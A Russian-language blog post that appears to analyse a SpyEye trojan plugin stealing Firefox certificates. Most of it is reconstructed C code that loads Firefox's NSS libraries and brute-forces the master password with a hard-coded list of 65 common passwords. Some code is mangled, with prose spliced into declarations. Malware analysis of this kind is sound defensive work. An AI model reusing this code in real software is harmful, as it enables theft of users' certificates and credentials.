ffcertcrabber.dll - Крадем сертификаты FireFox
Размер: 10240 байт
Дата создания: 22.05.11
Источник: www.kernelmode.info
Virustotal: www.virustotal.com
MD5- 190339a245f2b3684fd2ef0cf0515d0c
SHA1 - 3347e9ccd0a4cec7bd8c86fdf6f39592f430d311
SHA256 - 73e22ebab4f1fe5dea1d4d45af9138b78cdf4a755c0483058ffa01584e57886a
RIPEMD160 - 0f1e75db328846ca505f2c58805f08dae7566225
Т.к базовая комплектация Spyeye занимается только граббингом сертификатов из криптохранилища Windows в состав трояна был добавлен плагин для похищения сертификатов из браузера FireFox.
Плагином экспортируется 7 функций, страндартно для SpyEye , нам более всего интересно будет посмотреть функцию Start, т.к. тут будет идти самая работа. Вызов функции инициируется командой от gate'а главной панели управления. Вызов происходит в отдельном потоке.
char Start(DWORD Tid) {
DWORD ThreadId;
ThreadId = Tid;
if ( !hThread )
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShedulMasterPassBrute, 0, 0, &ThreadId);
return 1;
}
ShedulMasterPassBrute - функция потока для брута мастер пароля от хранилища сертификатов FireFox'a будет пытаться подобрать мастер пароль, перриодически зазыпая на рандомное колчиство милисекунд,
а вслучае удачи сграбливать сертификаты и отсылать его в C&C SpyEye
int ShedulMasterPassBrute(LPVOID Param) {
DWORD sleeptime;
DWORD rndnum;
if ( runningflag )
{
rndnum = 0;
for ( sleeptime = 1000 * RtlRandom(&rndnum) % (unsigned int)gThreadID; ; sleeptime = 43200000 )
{
Sleep(sleeptime);
TryGetMasterPassword();
}
}
return 0;
}
Собственно функция TryGetMasterPassword делает такую важную штуку как загрузку необходимых для работы плагина динамических библиотек (nss3.dll, smime3.dll, nspr4.dll) и функций. Сначал было хотел возмутиться нафиг автор
каждый раз пытается загрузить либы и функции, типа не оптимально, а потом подумал, ну мож во время Sleep'a потока ShedulMasterPassBrute, FireFox был неожиданно установлен/удален, и не стал возмущатся =)
char * TryGetMasterPassword() {
... skip
char FullFireFoxProfilePath2[260];
char FullFireFoxProfilePath[260];
memset(&FullFireFoxProfilePath2[0], 0, MAX_PATH);
memset(&FullFireFoxProfilePath[0], 0, MAX_PATH);
FullPath = GetFireFoxFullPath();
if ( FullPath )
{
LibFlag = (char *)LoadAllFireFoxLibrary(Result);
if ( LibFlag )
{
... skip
Result = (char *)GetModuleHandleA("nss3.dll");// BaseAddr lib
if ( Result )
{
Result = (char *)Nss3_RtlApi(Result);
if ( Result )
{
Result = (char *)GetModuleHandleA("smime3.dll");
if ( Result )
{
Result = (char *)Smime3_RtlApi(Result);
if ( Result )
{
Result = (char *)GetModuleHandleA("nspr4.dll");
if ( Result )
{
fnPR_ExplodeTime = GetProcAddress(Result, "PR_ExplodeTime");
if ( fnPR_ExplodeTime )
{
...
skip
...
if ( AppDataPath )
{
Count = 0;
do
{
step = Count + 48;
SHGetFolderPathA(0, CSIDL_APPDATA, 0, 0, AppDataPath);
strcat(AppDataPath, "\\Mozilla\\Firefox\\profiles.ini");
Result = (char *)GetPrivateProfileStringA(
"Profile",
"Path",
0,
(LPSTR)PathProfile,
260u,
AppDataPath);
if ( Result )
{
if ( GetPrivateProfileIntA("Profile", "IsRelative", 0, AppDataPath) )
{
SHGetFolderPathA(0, CSIDL_APPDATA, 0, 0, AppDataPath);
strcat(AppDataPath, "\\Mozilla\\Firefox\\");
strcat(AppDataPath, (const char *)PathProfile);
strcpy(FullFireFoxProfilePath, AppDataPath);
}
else
{
strcpy(FullFireFoxProfilePath, (const char *)PathProfile);
}
strcpy(FullFireFoxProfilePath2, FullFireFoxProfilePath);
Result = (char *)fnNSS_Init(FullFireFoxProfilePath);//
// Sets up configuration files and performs other
// tasks required to run Network Security Services.
// Database files are opened read-only
if ( !Result )
{
if ( BruteFireFoxMasterPassword() )// 1 - success
{
fnPORT_SetUCS2_ASCIIConversionFunction(P12u_Ucs2_Ascii_conversion);// PORTCharConversionWSwapFunc convFunc
GrabCerticateFF();
}
Result = (char *)fnNSS_Shutdown(v11);// Closes the key and certificate databases that were opened by NSS_Init.
}
}
++Count;
}
while ( Count < 9 );
}
else
{
... skip
}
}
}
}
}
}
}
}
}
}
}
return Result;
}
Функция GetFireFoxFullPath - получаем полный путь FireFOx'a
char * GetFireFoxFullPath() {
char *result = 0;
char *FireFoxPath;
HANDLE hHeap;
char pszDir[MAX_PATH];
memset(pszDir, 0, sizeof(pszDir));
FireFoxPath = (char *)malloc(sizeof(char) * MAX_PATH + 1);
if ( SHGetFolderPathA(0, CSIDL_PROGRAM_FILES, 0, 0, &pszDir) >= 0 ) {
sprintf(FireFoxPath, "%s\\Mozilla Firefox", pszDir);
result = FireFoxPath;
} else {
result = 0;
}
return result;
}
LoadAllFireFoxLibrary , как и следует из названия, загружает все библиотеки по списку, я типа немного переработал ее =) чет мне показалось совсем коряво оно выглядело в оригинале =))) (звиняйте хлопцы, бананьев нема )
structЗадаем тип и обявлем переменую для функции, для примера так будет объявлена fnNSS_Init:
{
char *lib;
unsigned long ba;
} Libs [] = {
{ "mozcrt19.dll", 0},
{ "nspr4.dll", 0},
{ "plds4.dll", 0},
{ "plc4.dll", 0},
{ "sqlite3.dll", 0},
{ "nssutil3.dll", 0},
{ "softokn3.dll", 0},
{ "nss3.dll", 0},
{ "smime3.dll", 0},
{ NULL, 0}
},TableLibs;
int LoadAllFireFoxLibrary(LPCSTR pszDir) {
int index = 0;
int result = 1; // будем оптимистами - 1 - флаг того что все либы загрузились
char LibFileName[260];
HMODULE hLib;
while (Libs[index].lib) {
memset(LibFileName, 0, sizeof(LibFileName));
sprintf(LibFileName, "%s\\%s", pszDir, Libs[index].lib);
hLib = LoadLibraryA(LibFileName);
if ( !hLib ) {
result = 0;
break;
}
index++;
}
return result;
}
typedef SECStatus (CDECL *NSS_INIT)(const char);и собственно рантайм API
NSS_INIT fnNSS_Init;
bool Nss3_RtlApi(HMODULE hLib) {
fnNSS_Init = GetProcAddress(hLib, "NSS_Init");
fnNSS_Shutdown = GetProcAddress(hLib, "NSS_Shutdown");
fnPK11_ListCerts = GetProcAddress(hLib, "PK11_ListCerts");
fnCERT_DestroyCertList = GetProcAddress(hLib, "CERT_DestroyCertList");
fnPK11_IsFIPS = GetProcAddress(hLib, "PK11_IsFIPS");
CERT_GetDefaultCertDB = GetProcAddress(hLib, "CERT_GetDefaultCertDB");
fnSECITEM_DupItem = GetProcAddress(hLib, "SECITEM_DupItem");
fnSECITEM_ZfreeItem = GetProcAddress(hLib, "SECITEM_ZfreeItem");
fnPORT_UCS2_UTF8Conversion = GetProcAddress(hLib, "PORT_UCS2_UTF8Conversion");
fnPORT_SetUCS2_ASCIIConversionFunction = GetProcAddress(hLib, "PORT_SetUCS2_ASCIIConversionFunction");
fnPK11_GetInternalKeySlot = GetProcAddress(hLib, "PK11_GetInternalKeySlot");
fnPK11_FreeSlot = GetProcAddress(hLib, "PK11_FreeSlot");
fnPK11_CheckUserPassword = GetProcAddress(hLib, "PK11_CheckUserPassword");
fnCERT_GetCommonName = GetProcAddress(hLib, "CERT_GetCommonName");
fnPORT_Free = GetProcAddress(hLib, "PORT_Free");
fnCERT_GetCertTimes = GetProcAddress(hLib, "CERT_GetCertTimes");
return fnNSS_Init
&& fnNSS_Shutdown
&& fnPK11_ListCerts
&& fnCERT_DestroyCertList
&& fnPK11_IsFIPS
&& fnSECITEM_ZfreeItem
&& fnSECITEM_DupItem
&& fnPORT_UCS2_UTF8Conversion
&& fnPORT_SetUCS2_ASCIIConversionFunction
&& CERT_GetDefaultCertDB
&& fnCERT_GetCommonName
&& fnPORT_Free
&& fnCERT_GetCertTimes;
}
Аналогичным образом динамически подгружаем API из других dll(smime3.dll, nspr4.dll итд).
Интересная процедура брутфорса мастер пароля, в плагин уже зашит список часто используемых паролей пользователями, если PK11_CheckUserPassword возвращает 0 - success , значит нам повезло и пароль найден, можно идти и забирать все =) вполне себе правильное и логичное решение.
PeoplePassTable - табличка очень часто используемых паролей , аж целых 65 штук и действительно встречаются такие =)
"admin", "qwerty", "12345", "sex", "virus", "market", "zaza", "1234567890", "porn", "crazy", "business", "love", "money", "stealit", "secret", "qwertyuiop", "bugger", "hacker", "god", "hitler", "1488", "hunter", "shark", "bandit", "holly", "acab", "viking", "wease", "vodka", "usa", "bear", "hammerhead", "firefox", "gucci", "ferrari", "luxury", "casual", "anal", "punk", "black", "root", "111", "123", "1234", "asdf", "server", "asdfgh", "1", "blank", "!@#$", "!@#$%", "!@#$%^&", "sww", "wire", "cvv2", "gostev", "bmw", "bugatti", "ferrari", "stock", "porche", "mustang", "satan", "666", "z0mbie"
Вот так, действуя влоб авторы трояна SpyEye уводят сертификаты из защищенного хранилица FireFox'a , ведь довольно много людей совсем не устанавливают мастер пароль, а еще больше устанавливают простой пароль. Вывод как всегда: надежные пароли еще не кому не вредили =) Тут я еще не расмотрел саму основную функцию грабинка сертификатов - GrabCerticateFF, добавлю позже.
bool BruteFireFoxMasterPassword()
{
PK11SlotInfo * slot;
bool ret;
int SecRes;
unsigned int index;
int SECResult;
char *PeoplePassTable;
int countpass = 65;
ret = 0;
slot = fnPK11_GetInternalKeySlot(); // return ptr to struct PK11SlotInfo
if ( slot )
{
SecRes = fnPK11_CheckUserPassword(slot, &PwdEmpty); //the master password. If no master password is set
// then you can pass an empty string. EMPTY, NOT NULL!
ret = SecRes == 0;
if ( SecRes != 0 )
{
index = 0;
do
{
SECResult = fnPK11_CheckUserPassword(slot, &PeoplePassTable[4*index]);
ret = SECResult == 0;
if ( SECResult == 0 )
break;
++index;
}
while ( index < countpass );
}
fnPK11_FreeSlot(slot);
}
return ret;
}
Продолжение следует ...
Комментариев нет:
Отправить комментарий